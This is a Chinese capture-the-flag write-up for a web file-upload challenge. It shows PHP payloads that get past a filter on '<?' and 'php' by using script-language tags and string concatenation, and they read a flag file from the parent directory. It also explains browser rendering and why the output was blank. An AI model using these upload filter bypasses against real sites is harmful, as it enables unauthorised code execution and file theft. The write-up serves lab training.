zoukankan      html  css  js  c++  java
  • ctf web 百度杯”CTF比赛 九月场Upload i春秋

    0x00题目内容:

    想怎么传就怎么传,就是这么任性。
    tips:flag在flag.php中    

    0x01试探

    先随便写个脚本上传一下试试

    <?php
    echo 'test';

    访问结果为 echo 'test';

    猜测过滤了<?和php,使用script绕过和大小写绕过,重新尝试

    <script language="PHP">
    echo 'test';
    </script>

    访问结果为test

    0x02读取flag.php

    接下来尝试读取flag.php 这里php也需要绕过,可以用.连接字符串绕过,也可以strtolower('PHP')绕过

    <script language="PHP">
    echo((file_get_contents('flag.'.'p'.'h'.'p')));
    </script>
    访问结果为空白
    原因是php脚本上传在/u/xxx.php中

    试一试上级目录吧

    <script language="PHP">
    echo((file_get_contents('../flag.'.'p'.'h'.'p')));
    </script>
    访问页面是空白的,查看源代码
    <?php
    echo 'here_is_flag';
    'flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}';

    这里采用其他方式读取也是可以的, PHP读取文件内容的五种方式[1]

    为什么页面是空白的呢

    0x03延伸探究

    HTML渲染过程

    1. 用户输入url地址,浏览器根据域名寻找IP地址
    2. 浏览器向服务器发送http请求,如果服务器段返回以301之类的重定向,浏览器根据相应头中的location再次发送请求
    3. 服务器端接受请求,处理请求生成html代码,返回给浏览器,这时的html页面代码可能是经过压缩的
    4. 浏览器接收服务器响应结果,如果有压缩则首先进行解压处理,紧接着就是页面解析渲染

      解析渲染该过程主要分为以下步骤:

    1. 解析HTML
    2. 构建DOM树
    3. DOM树与CSS样式进行附着构造呈现树
    4. 布局
    5. 绘制    [2]

    当浏览器请求服务器上的其他语言的脚本时,如php,则先运行脚本,然后将结果解析为HTML,再返回给浏览器呈现。

    而本题中,运行了上传的php,将读取到的flag.php的代码(一个字符串)返回,即将此时的php代码转换为了HTML界面[3],就好比在.HTML文件写入php代码一样[4]。

    解决方案:

    1:PHP htmlspecialchars() 函数

      该函数把预定义的字符转换为 HTML 实体。即可以显示在页面中。

      <script language="PHP">
      echo(htmlspecialchars(file_get_contents('../flag.'.'p'.'h'.'p')));
      </script>

    2.PHP file()函数

      file() 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换行符在内。也就是<?php成为了单独的一行,解释器只注释掉了这一行,后面的flag可以显示出来。

      <script language="PHP">
      print_r(file('../flag.'.'p'.'h'.'p'));
      </script>

    参考:
    [1]PHP读取文件内容的五种方式 http://blog.csdn.net/yilovexing/article/details/52711673
    [2]HTML渲染过程详解 http://www.cnblogs.com/dojo-lzz/p/3983335.html
    [3]Web网站工作原理解析 http://blog.csdn.net/finish_dream/article/details/50900285#t2
    [4]
    为什么嵌入html中的php代码浏览器打的时侯会被注释掉 http://blog.csdn.net/fjnjxr/article/details/73188517
    请批评指正!
  • 相关阅读:
    Shelve Instance 操作详解
    Rebuild Instance 操作详解
    Snapshot Instance 操作详解
    Nova Suspend/Rescue 操作详解
    Pause/Resume Instance 操作详解
    Terminate Instance 操作详解
    Nova reboot 和 lock 操作
    Start Instance 操作详解
    tar --help
    VIM标记 mark 详解
  • 原文地址:https://www.cnblogs.com/vastian/p/8596480.html
Copyright © 2011-2022 走看看